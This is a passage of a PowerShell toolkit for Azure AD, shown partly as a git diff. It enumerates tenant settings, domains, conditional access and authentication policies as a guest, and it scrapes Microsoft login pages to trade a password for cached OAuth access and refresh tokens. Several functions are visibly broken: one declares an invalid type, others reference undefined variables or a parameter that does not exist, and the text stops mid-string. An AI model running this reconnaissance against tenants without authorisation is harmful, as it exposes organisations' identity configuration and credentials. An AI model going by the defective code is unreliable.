function Get-AzureActivityLog
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$AccessToken,
[Parameter(Mandatory=$False)]
[datetime]$Start=$((Get-Date).AddDays(-30)),
[Parameter(Mandatory=$False)]
[datetime]$End=$(Get-Date)
)
Process
{
$Body=@{
"startDateTime" = $Start.ToUniversalTime().ToString("o")
"endDateTime" = $End.ToUniversalTime().ToString("o")
}
$response = Call-AzureAADIAMAPI -AccessToken $AccessToken -Command "Reports/SignInEventsV2" -Method Post -Body $Body
# Return
$response.items
}
}
# Get user's Azure AD tenants
# Jul 11th 2019
function Get-UserTenants
{
<#
.SYNOPSIS
Returns tenants the given user is member of
.DESCRIPTION
Returns tenants the given user is member of using Azure Management API
.Example
$at=Get-AccessTokenForAzureMgmtAPI -Credentials $cred
PS C:\> Get-UserTenants -AccessToken $at
Get-AADIntLoginInformation -Domain outlook.com
id : 3087e687-0d37-4c21-87c5-ecac88f0374a
domainName : company.onmicrosoft.com
displayName : Company Ltd
isSignedInTenant : True
tenantCategory :
id : 2968be53-ede5-4e30-844a-96d66479fb10
domainName : company2.onmicrosoft.com
displayName : Company2
isSignedInTenant : False
tenantCategory :
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
$AccessToken
)
Process
{
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource azureportal
$response=Call-AzureManagementAPI -AccessToken $AccessToken -Command "directories/List"
return $response.tenants
}
}
# Gets Azure Tenant information as a guest user
# Jun 11th 2020
function Get-AzureInformation
{
<#
.SYNOPSIS
Gets some Azure Tenant information.
.DESCRIPTION
Gets some Azure Tenant information, including certain tenant settings and ALL domains. The access token MUST be
stored to cache! Works also for guest users.
The Tenant is not required for Access Token but is recommended as some tenants may have MFA.
.Example
Get-AADIntAccessTokenForAzureCoreManagement -Tenant 6e3846ee-e8ca-4609-a3ab-f405cfbd02cd -SaveToCache
Tenant User Resource Client
------ ---- -------- ------
6e3846ee-e8ca-4609-a3ab-f405cfbd02cd https://management.core.windows.net/ d3590ed6-52b3-4102-aeff-aad2292ab01c
PS C:\>Get-AADIntAzureTenants
Id Country Name Domains
-- ------- ---- -------
221769d7-0747-467c-a5c1-e387a232c58c FI Firma Oy {firma.mail.onmicrosoft.com, firma.onmicrosoft.com, firma.fi}
6e3846ee-e8ca-4609-a3ab-f405cfbd02cd US Company Ltd {company.onmicrosoft.com, company.mail.onmicrosoft.com,company.com}
PS C:\>Get-AADIntAzureInformation -Tenant
objectId : 6e3846ee-e8ca-4609-a3ab-f405cfbd02cd
displayName : Company Ltd
usersCanRegisterApps : True
isAnyAccessPanelPreviewFeaturesAvailable : False
showMyGroupsFeature : False
myGroupsFeatureValue :
myGroupsGroupId :
myGroupsGroupName :
showMyAppsFeature : False
myAppsFeatureValue :
myAppsGroupId :
myAppsGroupName :
showUserActivityReportsFeature : False
userActivityReportsFeatureValue :
userActivityReportsGroupId :
userActivityReportsGroupName :
showRegisteredAuthMethodFeature : False
registeredAuthMethodFeatureValue :
registeredAuthMethodGroupId :
registeredAuthMethodGroupName :
usersCanAddExternalUsers : False
limitedAccessCanAddExternalUsers : False
restrictDirectoryAccess : False
groupsInAccessPanelEnabled : False
selfServiceGroupManagementEnabled : True
securityGroupsEnabled : False
usersCanManageSecurityGroups :
office365GroupsEnabled : False
usersCanManageOfficeGroups :
allUsersGroupEnabled : False
scopingGroupIdForManagingSecurityGroups :
scopingGroupIdForManagingOfficeGroups :
scopingGroupNameForManagingSecurityGroups :
scopingGroupNameForManagingOfficeGroups :
objectIdForAllUserGroup :
allowInvitations : False
isB2CTenant : False
restrictNonAdminUsers : False
enableLinkedInAppFamily : 0
toEnableLinkedInUsers : {}
toDisableLinkedInUsers : {}
linkedInSelectedGroupObjectId :
linkedInSelectedGroupDisplayName :
allowedActions : @{application=System.Object[]; domain=System.Object[]; group=System.Object[]; serviceprincipal=System.Object[];
tenantdetail=System.Object[]; user=System.Object[]; serviceaction=System.Object[]}
skuInfo : @{aadPremiumBasic=False; aadPremium=False; aadPremiumP2=False; aadBasic=False; aadBasicEdu=False; aadSmb=False;
enterprisePackE3=False; enterprisePremiumE5=False}
domains : {@{authenticationType=Managed; availabilityStatus=; isAdminManaged=True; isDefault=False; isDefaultForCloudRedirections=False;
isInitial=False; isRoot=True; isVerified=True; name=company.com; supportedServices=System.Object[]; forceDeleteState=; state=;
passwordValidityPeriodInDays=; passwordNotificationWindowInDays=}, @{authenticationType=Managed; availabilityStatus=;
isAdminManaged=True; isDefault=False; isDefaultForCloudRedirections=False; isInitial=True; isRoot=True; isVerified=True;
name=company.onmicrosoft.com;}...}
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$Tenant
)
Begin
{
$guestAccessPolicies = @{
"a0b1b346-4d3e-4e8b-98f8-753987be4970" = "Full"
"10dae51f-b6af-4016-8d66-8c2a99b929b3" = "Normal"
"2af84b1e-32c8-42b7-82bc-daa82404023b" = "Restricted"
}
}
Process
{
# Get from cache
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Get the refreshtoken
$refresh_token=$script:refresh_tokens["d3590ed6-52b3-4102-aeff-aad2292ab01c-https://management.core.windows.net/"]
if([string]::IsNullOrEmpty($refresh_token))
{
Throw "No refreshtoken found! Use Get-AADIntAccessTokenForAzureCoreManagement with -SaveToCache switch."
}
# Get the tenants
if([string]::IsNullOrEmpty($Tenant))
{
$tenants = Get-AzureTenants $AccessToken
}
else
{
$tenants = @(New-Object psobject -Property @{"Id" = $Tenant})
}
# Loop through the tenants
foreach($tenant_info in $tenants)
{
# Create a new AccessToken for Azure AD management portal API
$access_token = Get-AccessTokenWithRefreshToken -Resource "74658136-14ec-4630-ad9b-26e160ff0fc6" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -TenantId $tenant_info.Id -RefreshToken $refresh_token -SaveToCache $true
# Directory information included in properties
#$directory = Call-AzureAADIAMAPI -AccessToken $access_token -Command "Directory"
$properties = Call-AzureAADIAMAPI -AccessToken $access_token -Command "Directories/Properties"
if($properties.restrictNonAdminUsers -ne "True") # If restricted, don't bother trying
{
$permissions = Call-AzureAADIAMAPI -AccessToken $access_token -Command "Permissions?forceRefresh=false"
}
$skuinfo = Call-AzureAADIAMAPI -AccessToken $access_token -Command "TenantSkuInfo"
# Create a new AccessToken for graph.windows.net
$access_token2 = Get-AccessTokenWithRefreshToken -Resource "https://graph.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -TenantId $tenant_info.Id -RefreshToken $refresh_token -SaveToCache $true
# Get the domain details
#$response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri "https://graph.windows.net/myorganization/domains?api-version=1.61-internal" -Headers @{"Authorization"="Bearer $access_token2"}
#$domains = $response.Value
# Create a new AccessToken for graph.microsoft.com
$access_token3 = Get-AccessTokenWithRefreshToken -Resource "https://graph.microsoft.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -TenantId $tenant_info.Id -RefreshToken $refresh_token -SaveToCache $true
# Get the directory quota
$response2 = Invoke-RestMethod -UseBasicParsing -Uri "https://main.iam.ad.ext.azure.com/api/MsGraph/v1.0/organization/?`$select=directorySizeQuota" -Headers @{"Authorization" = "Bearer $access_token3"}
# Get the domain details
$domains = Get-MSGraphDomains -AccessToken $access_token3
# Get the tenant authorization policy
try
{
$authPolicy = Get-TenantAuthPolicy -AccessToken $access_token3
$guestAccess = $guestAccessPolicies[$authPolicy.guestUserRoleId]
}
catch{}
# Get Conditional access policies
$CAPolicy = Get-ConditionalAccessPolicies -AccessToken $access_token2
# Construct the return value
$properties | Add-Member -NotePropertyName "allowedActions" -NotePropertyValue $permissions.allowedActions
$properties | Add-Member -NotePropertyName "skuInfo" -NotePropertyValue $skuInfo
$properties | Add-Member -NotePropertyName "domains" -NotePropertyValue $domains
$properties | Add-Member -NotePropertyName "directorySizeQuota" -NotePropertyValue $response2.value[0].directorySizeQuota
$properties | Add-Member -NotePropertyName "authorizationPolicy" -NotePropertyValue $authPolicy
$properties | Add-Member -NotePropertyName "conditionalAccessPolicy" -NotePropertyValue $CAPolicy
$properties | Add-Member -NotePropertyName "guestAccess" -NotePropertyValue $guestAccess
# Return
$properties
}
}
}
# Gets Azure Tenant authentication methods
# Jun 30th 2020
function Get-TenantAuthenticationMethods
{
<#
.SYNOPSIS
Gets Azure tenant authentication methods.
.DESCRIPTION
Gets Azure tenant authentication methods.
.Example
Get-AADIntAccessTokenForAADIAMAPI
Tenant User Resource Client
------ ---- -------- ------
6e3846ee-e8ca-4609-a3ab-f405cfbd02cd 74658136-14ec-4630-ad9b-26e160ff0fc6 d3590ed6-52b3-4102-aeff-aad2292ab01c
PS C:\>Get-AADIntTenantAuthenticationMethods
id : 297c50d5-e789-40f7-8931-b3694713cb4d
type : 6
state : 0
includeConditions : {@{type=group; id=9202b94b-5381-4270-a3cb-7fcf0d40fef1; isRequired=False; useForSignIn=True}}
voiceSettings :
fidoSettings : @{allowSelfServiceSetup=False; enforceAttestation=False; keyRestrictions=}
enabled : True
method : FIDO2 Security Key
id : 3d2c4b8f-f362-4ce4-8f4b-cc8726b80106
type : 8
state : 1
includeConditions : {@{type=group; id=all_users; isRequired=False; useForSignIn=True}}
voiceSettings :
fidoSettings :
enabled : False
method : Microsoft Authenticator passwordless sign-in
id : d7716fe0-7c2e-4b52-a5cd-394f8999176b
type : 5
state : 1
includeConditions : {@{type=group; id=all_users; isRequired=False; useForSignIn=True}}
voiceSettings :
fidoSettings :
enabled : False
method : Text message
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Get from cache
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "74658136-14ec-4630-ad9b-26e160ff0fc6" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Get the authentication methods
$response = Call-AzureAADIAMAPI -AccessToken $AccessToken -Command "AuthenticationMethods/AuthenticationMethodsPolicy"
$methods = $response.authenticationMethods
foreach($method in $methods)
{
$strType="unknown"
switch($method.type)
{
6 {$strType = "FIDO2 Security Key"}
8 {$strType = "Microsoft Authenticator passwordless sign-in"}
5 {$strType = "Text message"}
}
$method | Add-Member -NotePropertyName "enabled" -NotePropertyValue ($method.state -eq 0)
$method | Add-Member -NotePropertyName "method" -NotePropertyValue $strType
}
return $methods
}
}
# Gets Azure Tenant applications
# Nov 11th 2020
function Get-TenantApplications
{
<#
.SYNOPSIS
Gets Azure tenant applications.
.DESCRIPTION
Gets Azure tenant applications.
.Example
Get-AADIntAccessTokenForAADIAMAPI -SaveToCache
Tenant User Resource Client
------ ---- -------- ------
6e3846ee-e8ca-4609-a3ab-f405cfbd02cd https://management.core.windows.net/ d3590ed6-52b3-4102-aeff-aad2292ab01c
PS C:\>Get-AADIntTenantApplications
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Get from cache
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "74658136-14ec-4630-ad9b-26e160ff0fc6" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
$body = @{
"accountEnabled" = $null
"isAppVisible" = $null
"appListQuery"= 0
"top" = 999
"loadLogo" = $false
"putCachedLogoUrlOnly" = $true
"nextLink" = ""
"usedFirstPartyAppIds" = $null
"__ko_mapping__" = @{
"ignore" = @()
"include" = @("_destroy")
"copy" = @()
"observe" = @()
"mappedProperties" = @{
"accountEnabled" = $true
"isAppVisible" = $true
"appListQuery" = $true
"searchText" = $true
"top" = $true
"loadLogo" = $true
"putCachedLogoUrlOnly" = $true
"nextLink" = $true
"usedFirstPartyAppIds" = $true
}
"copiedProperties" = @{}
}
}
# Get the applications
$response = Call-AzureAADIAMAPI -AccessToken $AccessToken -Command "ManagedApplications/List" -Body $body -Method Post
return $response.appList
}
}
# Get the status of AAD Connect
# Jan 7th 2021
function Get-AADConnectStatus
{
<#
.SYNOPSIS
Shows the status of Azure AD Connect (AAD Connect).
.DESCRIPTION
Shows the status of Azure AD Connect (AAD Connect).
.Example
Get-AADIntAccessTokenForAADIAMAPI -SaveToCache
PS C:\>Get-AADIntAADConnectStatus
verifiedDomainCount : 4
verifiedCustomDomainCount : 3
federatedDomainCount : 2
numberOfHoursFromLastSync : 0
dirSyncEnabled : True
dirSyncConfigured : True
passThroughAuthenticationEnabled : True
seamlessSingleSignOnEnabled : True
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
$AccessToken
)
Process
{
# Get from cache
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "74658136-14ec-4630-ad9b-26e160ff0fc6" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Get the applications
$response = Call-AzureAADIAMAPI -AccessToken $AccessToken -Command "Directories/ADConnectStatus"
return $response
}
}
+624
View File
@@ -0,0 +1,624 @@
# Creates a web session with given cookie header
function Create-WebSession
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[string]$SetCookieHeader,
[Parameter(Mandatory=$True)]
[string]$Domain
)
Process
{
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
# login.live.com: MSPRequ=lt=1540361812&co=1&id=N; secure= ;path=/;HTTPOnly=;version=1,uaid=bf4b7f37ec1d4084aa68952b9edebb6b; domain=login.live.com;secure= ;path=/;HTTPOnly= ;version=1,MSPOK=$uuid-f4f5ef25-7343-4de8-84cb-266ea1b47bc2; domain=login.live.com;secure= ;path=/;HTTPOnly= ;version=1
if($domain -eq "login.live.com")
{
$SetCookie = $SetCookieHeader.Split(";,")
foreach($Cookie in $SetCookie)
{
$name = $Cookie.Split("=")[0].trim()
$value = $Cookie.Substring($name.Length+1)
switch($name)
{
"secure" {}
"path" {}
"HTTPOnly" {}
"domain" {}
"version" {}
default
{
$webCookie = New-Object System.Net.Cookie
$webCookie.Name = $name
$webCookie.Value = $value
$webCookie.Domain = $Domain
$session.Cookies.Add($webCookie)
Write-Verbose "COOKIE [$Domain]: $webCookie"
}
}
}
}
elseif($domain.EndsWith(".sharepoint.com")) # Sharepoint
{
$SetCookie = $SetCookieHeader.Replace("HttpOnly","|").Split("|")
foreach($Cookie in $SetCookie)
{
if(![String]::IsNullOrEmpty($Cookie))
{
$Cookie = $Cookie.Split(";")[0].trim()
$name = $Cookie.Split("=")[0].trim()
$value = $Cookie.Substring($name.Length+1)
# Strip the trailing semi colon
$value=$value.Split(";")[0]
$webCookie = New-Object System.Net.Cookie
$webCookie.Name = $name
$webCookie.Value = $value
$webCookie.Domain = $Domain
$session.Cookies.Add($webCookie)
Write-Verbose "COOKIE [$Domain]: $webCookie"
}
}
}
else # login.microsoftonline.com:
{
# Split the cookie string
$SetCookie = $SetCookieHeader.Replace("HttpOnly","|").Split("|")
foreach($Cookie in $SetCookie)
{
# Split the individual cookie and remove possible trailing comma
$Cookie=($Cookie.Split(";")[0]).Replace(',','')
if(![string]::IsNullOrEmpty($Cookie))
{
$webCookie = New-Object System.Net.Cookie
$webCookie.Name = $Cookie.Split("=")[0]
$webCookie.Value = $Cookie.Substring($webCookie.Name.Length+1)
$webCookie.Domain = $Domain
$session.Cookies.Add($webCookie)
Write-Verbose "COOKIE [$Domain]: $webCookie"
}
}
}
return $session
}
}
# Creates a web session with given cookie header
function Create-WebSession2
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[System.Security.]$Headers,
[Parameter(Mandatory=$True)]
[string]$Domain
)
Process
{
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
# Split the cookie string
$SetCookie = $SetCookieHeader
$SetCookie = $SetCookie.Replace("HttpOnly","|").Replace("HTTPOnly","|").Split("|")
foreach($Cookie in $SetCookie)
{
# Split the individual cookie and remove possible trailing comma
$Cookie=($Cookie.Split(";")[0]).Replace(',','')
if(![string]::IsNullOrEmpty($Cookie))
{
$webCookie = New-Object System.Net.Cookie
$webCookie.Name = $Cookie.Split("=")[0]
$webCookie.Value = $Cookie.Split("=")[1]
$webCookie.Domain = $Domain
$session.Cookies.Add($webCookie)
}
}
return $session
}
}
# Gets the access token for Azure Management API
# Uses totally different flow than other access tokens.
# Oct 23rd 2018
# TODO: Add support for form based & SAML authentication
function Get-AccessTokenForAzureMgmtAPI
{
<#
.SYNOPSIS
Gets OAuth Access Token for Azure Management API
.DESCRIPTION
Gets OAuth Access Token for Azure Management API
.Parameter Credentials
Credentials of the user.
.Example
PS C:\>$cred=Get-Credential
PS C:\>Get-AADIntAccessTokenForAzureMgmtAPI -Credentials $cred
#>
[cmdletbinding()]
Param(
[Parameter()]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter()]
[Switch]$SaveToCache
)
Process
{
$accessToken=""
$refreshToken=""
# Check if we got credentials
if([string]::IsNullOrEmpty($Credentials) -and [string]::IsNullOrEmpty($SAMLToken))
{
# No credentials given, so prompt for credentials
$tokens = Prompt-AzureADCredentials
$accessToken = $tokens["access_token"]
$refreshToken = $tokens["refresh_token"]
}
else
{
$userName = $Credentials.UserName
$password = $credentials.GetNetworkCredential().Password
# Step 1: Go to portal.azure.com to get cookies and authentication url
$headers=@{
"Sec-Fetch-Dest" = "script"
"Sec-Fetch-Site" = "same-origin"
"Sec-Fetch-Mode" = "no-cors"
"Referer"="https://portal.azure.com"
}
$response = Invoke-WebRequest -UseBasicParsing -uri "https://portal.azure.com/signin/idpRedirect.js/?feature.settingsportalinstance=&feature.refreshtokenbinding=true&feature.usemsallogin=true&feature.snivalidation=true&feature.setsamesitecookieattribute=true&feature.argsubscriptions=&feature.showservicehealthalerts=&idpRedirectCount=0" -Headers $headers
$html=$response.Content
$s=$html.IndexOf('https://login.microsoftonline.com')
$e=$html.IndexOf('"',$s)
$url=$html.Substring($s,$e-$s)
$azureWebSession = Create-WebSession -SetCookieHeader $response.Headers.'Set-Cookie' -Domain "portal.azure.com"
# Step 2: Go to login.microsoftonline.com to get configuration and cookies
$response = Invoke-WebRequest -UseBasicParsing -uri $url -Headers @{Cookie="x-ms-gateway-slice=004; stsservicecookie=ests; AADSSO=NANoExtension; SSOCOOKIEPULLED=1"}
$html = $response.Content
$s=$html.IndexOf('$Config=')
$e=$html.IndexOf('};',$s+8)
$config=$html.Substring($s+8,$e-$s-7) | ConvertFrom-Json
$MSOnlineComwebSession = Create-WebSession -SetCookieHeader $response.Headers.'Set-Cookie' -Domain "login.microsoftonline.com"
# Step3: Get user information, including Flow Token
$userInfo=Get-CredentialType -UserName $userName -FlowToken $config.sFT
# LOGIN.LIVE.COM
if($userInfo.EstsProperties.DomainType -eq 2) # =live account
{
# Step L1: Go to login.live.com to get configuration and cookies
$response = Invoke-WebRequest -UseBasicParsing -uri $config.urlGoToAADError
$html = $response.Content
$s=$html.IndexOf('ServerData =')
$e=$html.IndexOf('};',$s+13)
$config=$html.Substring($s+13,$e-$s-12)
# ConvertFrom-Json is caseinsensitive so need to use this one
$config = (New-Object -TypeName System.Web.Script.Serialization.JavaScriptSerializer -Property @{MaxJsonLength=67108864}).DeserializeObject($config)
$liveWebSession = Create-WebSession -SetCookieHeader $response.Headers.'Set-Cookie' -Domain "login.live.com"
$sFTTag= [xml]$config.sFTTag
$PPFT = $sFTTag.SelectSingleNode("//input[@name='PPFT']").value
# Step L2: Login to login.live.com
$body=@{
"login" = $userName
"loginFmt" = $userName
"i13"="0"
"type"="11"
"LoginOptions"="3"
"passwd"=$password
"ps"="2"
"canary"=""
"ctx"=""
"NewUser"="1"
"fspost"="0"
"i21"="0"
"CookieDisclosure"="1"
"IsFidoSupported"="1"
"hpgrequestid"=""
"PPSX"="Pa"
"PPFT"=$PPFT
"i18"="__ConvergedLoginPaginatedStrings|1,__OldConvergedLogin_PCore|1,"
"i2"="1"
}
$headers=@{
"User-Agent"="Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
"Upgrade-Insecure-Requests" = "1"
}
$response = Invoke-WebRequest -UseBasicParsing -Uri $config.urlPost -Method Post -ContentType "application/x-www-form-urlencoded" -Body $body -Headers $headers -WebSession $liveWebSession
$html = $response.Content
# No well formed xml, so need to do some tricks.. First, find the form start and end tags
$s=$html.IndexOf("<form")
$e=$html.IndexOf("</form>")
$form = $html.Substring($s,$e-$s) # Strip the form end tag
# End all tags
$form=$form.replace('">','"/>')
# Add start and end tags
$form="<html>$form</html>"
$html=[xml]$form
$fmHF = $html.SelectSingleNode("//form[@name='fmHF']").action
$code = $html.SelectSingleNode("//input[@name='code']").value
$state = $html.SelectSingleNode("//input[@name='state']").value
# Step L3: Login to login.microsoftonline.com with code and state
$body = @{
"code" = $code
"state" = $state
}
$response = Invoke-WebRequest -UseBasicParsing -Uri $fmHF -Method Post -ContentType "application/x-www-form-urlencoded" -Body $body -Headers $headers -WebSession $MSOnlineComwebSession
$MSOnlineComwebSession = Create-WebSession -SetCookieHeader $response.Headers.'Set-Cookie' -Domain "login.microsoftonline.com"
$html = $response.Content
$s=$html.IndexOf('$Config=')
$e=$html.IndexOf('};',$s+8)
$config=$html.Substring($s+8,$e-$s-7) | ConvertFrom-Json
# Step L4: Get code, id_token, and state information
$body=@{
"LoginOptions"="0"
"flowToken"=$config.sFT
"canary"=$config.canary
"ctx"=$config.sCtx
"hpgrequestid"=(New-Guid).ToString()
}
$response = Invoke-WebRequest -UseBasicParsing -Uri "https://login.microsoftonline.com/kmsi" -Method Post -ContentType "application/x-www-form-urlencoded" -Body $body -Headers $headers -WebSession $MSOnlineComwebSession
$MSOnlineComwebSession = Create-WebSession -SetCookieHeader $response.Headers.'Set-Cookie' -Domain "login.microsoftonline.com"
$html = [xml]$response.Content
$code = $html.SelectSingleNode("//input[@name='code']").value
$id_token = $html.SelectSingleNode("//input[@name='id_token']").value
$state = $html.SelectSingleNode("//input[@name='state']").value
$session_state = $html.SelectSingleNode("//input[@name='session_state']").value
# Step L5: Sign in to portal.azure.com to get redirect URL
$body=@{
"code"= $code
"id_token" = $id_token
"state" = $state
"session_state" = $session_state
}
$response = Invoke-WebRequest -UseBasicParsing -Uri "https://portal.azure.com/signin/index/" -Method Post -ContentType "application/x-www-form-urlencoded" -Body $body -Headers $headers -WebSession $azureWebSession
$azureWebSession = Create-WebSession -SetCookieHeader $response.Headers.'Set-Cookie' -Domain "portal.azure.com"
$html=$response.Content
$s=$html.IndexOf('MsPortalImpl.redirectToUri("')
$e=$html.IndexOf('")',$s)
$url=$html.Substring($s+28,$e-$s-28)
# Step L6: Go to portal.azure.com to get another redirect URL
$response = Invoke-WebRequest -UseBasicParsing -Uri $url -Method Get -Headers $headers -WebSession $azureWebSession
$azureWebSession = Create-WebSession -SetCookieHeader $response.Headers.'Set-Cookie' -Domain "portal.azure.com"
$html=$response.Content
$s=$html.IndexOf('https://login.microsoftonline.com')
$e=$html.IndexOf('"',$s)
$url=$html.Substring($s,$e-$s)# |ConvertFrom-Json
# Step L7: Login to login.microsoftonline.com (again) using the received url to get code etc.
$response = Invoke-WebRequest -UseBasicParsing -Uri $url -Method Get -ContentType "application/x-www-form-urlencoded" -Headers $headers -WebSession $MSOnlineComwebSession
$MSOnlineComwebSession = Create-WebSession -SetCookieHeader $response.Headers.'Set-Cookie' -Domain "login.microsoftonline.com"
$html = [xml]$response.Content
$code = $html.SelectSingleNode("//input[@name='code']").value
$id_token = $html.SelectSingleNode("//input[@name='id_token']").value
$state = $html.SelectSingleNode("//input[@name='state']").value
$session_state = $html.SelectSingleNode("//input[@name='session_state']").value
$url = $html.SelectSingleNode("//form[@name='hiddenform']").action
# Step L8: Sign in to portal.azure.com to get OAuth token
$body=@{
"code"= $code
"id_token" = $id_token
"state" = $state
"session_state" = $session_state
}
$response = Invoke-WebRequest -UseBasicParsing -Uri $url -Method Post -ContentType "application/x-www-form-urlencoded" -Body $body -Headers $headers -WebSession $azureWebSession
$azureWebSession = Create-WebSession -SetCookieHeader $response.Headers.'Set-Cookie' -Domain "portal.azure.com"
}
else # LOGIN.MICROSOFTONLINE.COM
{
# Step M1: Login to login.microsoftonline.com
$body=@{
"login" = $userName
"loginFmt" = $userName
"i13"="0"
"type"="11"
"LoginOptions"="3"
"passwd"=$password
"ps"="2"
"flowToken"=$userInfo.FlowToken
"canary"=$config.canary
"ctx"=$config.sCtx
"NewUser"="1"
"fspost"="0"
"i21"="0"
"CookieDisclosure"="1"
"IsFidoSupported"="1"
"hpgrequestid"=(New-Guid).ToString()
}
$headers=@{
"User-Agent"="Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
"Upgrade-Insecure-Requests" = "1"
}
$response = Invoke-WebRequest -UseBasicParsing -Uri "https://login.microsoftonline.com/common/login" -Method Post -ContentType "application/x-www-form-urlencoded" -Body $body -Headers $headers -WebSession $MSOnlineComwebSession
$MSOnlineComwebSession = Create-WebSession -SetCookieHeader $response.Headers.'Set-Cookie' -Domain "login.microsoftonline.com"
$html = $response.Content
$s=$html.IndexOf('$Config=')
$e=$html.IndexOf('};',$s+8)
$config=$html.Substring($s+8,$e-$s-7) | ConvertFrom-Json
$MSOnlineComwebSession = Create-WebSession -SetCookieHeader $response.Headers.'Set-Cookie' -Domain "login.microsoftonline.com"
# Step M2: Get code, id_token, and state information
$body=@{
"LoginOptions"="0"
"flowToken"=$config.sFT
"canary"=$config.canary
"ctx"=$config.sCtx
"hpgrequestid"=(New-Guid).ToString()
}
$response = Invoke-WebRequest -UseBasicParsing -Uri "https://login.microsoftonline.com/kmsi" -Method Post -ContentType "application/x-www-form-urlencoded" -Body $body -Headers $headers -WebSession $MSOnlineComwebSession
$MSOnlineComwebSession = Create-WebSession -SetCookieHeader $response.Headers.'Set-Cookie' -Domain "login.microsoftonline.com"
$html = [xml]$response.Content
$code = $html.SelectSingleNode("//input[@name='code']").value
$id_token = $html.SelectSingleNode("//input[@name='id_token']").value
$state = $html.SelectSingleNode("//input[@name='state']").value
$session_state = $html.SelectSingleNode("//input[@name='session_state']").value
# Step M3: Sign in to portal.azure.com
$body=@{
"code"= $code
"id_token" = $id_token
"state" = $state
"session_state" = $session_state
}
$response = Invoke-WebRequest -UseBasicParsing -Uri "https://portal.azure.com/signin/index/" -Method Post -ContentType "application/x-www-form-urlencoded" -Body $body -Headers $headers -WebSession $azureWebSession
}
# Get the OAuth token
$html=$response.Content
$s=$html.IndexOf('{"oAuthToken":')
$e=$html.IndexOf('}}',$s)
$token=$html.Substring($s,$e-$s+2) |ConvertFrom-Json
# Return
$accessToken = $token.oAuthToken.authHeader.Split(" ")[1]
$refreshToken = $token.oAuthToken.refreshToken
}
# Save the tokens to cache
if($SaveToCache)
{
Write-Verbose "ACCESS TOKEN: SAVE TO CACHE"
$Script:tokens["$ClientId-https://graph.windows.net"] = $accessToken
$Script:refresh_tokens["$ClientId-https://graph.windows.net"] = $refreshToken
}
else # Return
{
return $accessToken
}
}
}
# Obsolete since Nov 11th 2020
# Gets the access token for Azure AD IAM API
# Oct 24th 2018
# TODO: Add support for form based & SAML authentication
function Get-AccessTokenForAADIAMAPI2
{
<#
.SYNOPSIS
Gets OAuth Access Token for Azure AD IAM API
.DESCRIPTION
Gets OAuth Access Token for Azure AD IAM API
.Parameter Credentials
Credentials of the user.
.Example
PS C:\>$cred=Get-Credential
PS C:\>Get-AADIntAccessTokenForAADIAMAPI -Credentials $cred
#>
[cmdletbinding()]
Param(
[Parameter()]
[System.Management.Automation.PSCredential]$Credentials
)
Process
{
$AADAuth = Get-AccessTokenForAzureMgmtAPI -Credentials $Credentials -ExportTokenObject
$token = Get-DelegationToken -ExtensionName Microsoft_AAD_IAM -AccessToken $AADAuth
return $token.authHeader.Split(" ")[1]
}
}
# Get delegation token for the given extension
function Get-DelegationToken
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[ValidateSet('Microsoft_AAD_IAM')]
[String]$ExtensionName,
[Parameter(Mandatory=$False)]
$ResourceName="self",
[Parameter(Mandatory=$True)]
$AccessToken
)
Process
{
# Check the expiration
if(Is-AccessTokenExpired($AccessToken.access_token))
{
throw "AccessToken has expired"
}
$Headers=@{
"x-ms-client-request-id" = (New-Guid).ToString()
"x-ms-extension-flags" ='{"feature.advisornotificationdays":"30","feature.advisornotificationpercent":"100","feature.armtenants":"true","feature.artbrowse":"true","feature.azureconsole":"true","feature.checksdkversion":"true","feature.contactinfo":"true","feature.dashboardfilters":"false","feature.enableappinsightsmetricsblade":"true","feature.globalsearch":"true","feature.guidedtour":"true","feature.helpcontentenabled":"true","feature.helpcontentwhatsnewenabled":"true","feature.internalonly":"false","feature.irissurfacename":"AzurePortal_Notifications_PROD","feature.mergecoadmins":"true","feature.metricsv2ga":"true","feature.newsubsapi":"true","feature.npsintervaldays":"90","feature.npspercent":"3.0","feature.npsshowportaluri":"true","feature.sessionvalidity":"true","feature.searchnocache":"true","feature.subscreditcheck":"true","hubsextension_parameterseditor":"true","hubsextension_showpolicyhub":"true","feature.autosettings":"true","feature.azurehealth":"true","feature.blockbladeredirect":"Microsoft_Azure_Resources","feature.browsecuration":"default","feature.collapseblade":"true","feature.dashboardfiltersaddbutton":"false","feature.decouplesubs":"true","feature.disablebladecustomization":"true","feature.disabledextensionredirects":"","feature.enablee2emonitoring":"true","feature.enablemonitoringgroup":"true","feature.enableworkbooks":"true","feature.feedback":"true","feature.feedbackwithsupport":"true","feature.fullwidth":"true","feature.managevminbrowse":"true","feature.mgsubs":"true","feature.newautoscale":"true","feature.newtageditorblade":"true","feature.nps":"true","feature.pinnable_default_off":"true","feature.reservationsinbrowse":"true","feature.reservehozscroll":"true","feature.resourcehealth":"true","feature.seetemplate":"true","feature.showdecoupleinfobox":"true","feature.tokencaching":"true","feature.usealertsv2blade":"true","feature.